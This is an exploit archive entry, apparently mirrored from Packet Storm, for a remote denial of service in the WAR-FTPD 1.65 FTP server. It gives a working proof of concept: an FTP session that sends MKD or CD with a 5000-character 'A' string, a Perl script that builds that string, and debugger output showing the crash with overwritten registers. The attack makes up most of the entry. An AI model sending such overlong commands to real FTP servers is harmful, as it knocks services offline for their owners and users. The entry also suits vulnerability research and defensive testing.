Lucene search
K

WAR-FTPD 1.65 Denial Of Service

🗓️ 24 Aug 2009 00:00:00Reported by optix hackerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Remote Denial of Service vulnerability in WAR-FTPD 1.65 (MKD & CD) requests, exploited by opt!x hacker on Microsoft Windows XP

Code
`WAR-FTPD 1.65 (MKD & CD) requests Remote Denial of Service  
exploited by opt!x hacker  
mail: [email protected]  
greetz to his0k4  
about : http://securityreason.com/exploitalert/6971  
you have to connect to target server from cmd like that:  
i sended it with perl and python scripts but it's not working because im  
beginner in remotes  
############################################################  
Microsoft Windows XP [version 5.1.2600]  
(C) Copyright 1985-2001 Microsoft Corp.  
  
C:\Documents and Settings\Administrateur>ftp  
ftp> open  
Vers 5.237.109.181 21  
Connecté à 5.237.109.181.  
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready  
220 Please enter your user name.  
Utilisateur (5.237.109.181:(none)) : root  
331 User name okay, Need password.  
Mot de passe :  
230 User logged in, proceed.  
ftp> MKD A x 5000 or cd A x 5000  
##########################################################  
  
you have to execute this perl script then put his content after MKD or CD  
__________________________________________________________________  
my $crash= "A" x 5000;  
open(c,">>denial.txt");  
print c $crash;  
print "[+] Done !! [+]";  
close(c);  
_________________________________________________________________  
  
then olly is executed because im working with this option : just in time  
debugger  
  
###########################################################################  
#################"""  
EAX 41414141  
ECX 008EEC18 ASCII  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAA  
EDX 008E0278  
EBX 008E0000  
ESP 00B2F538  
EBP 00B2F758  
ESI 008EEC10 ASCII  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAA  
EDI 41414141  
EIP 7C9211DE ntdll.7C9211DE  
###########################################################################  
##################"""  
  
and programm will be crashed :)   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation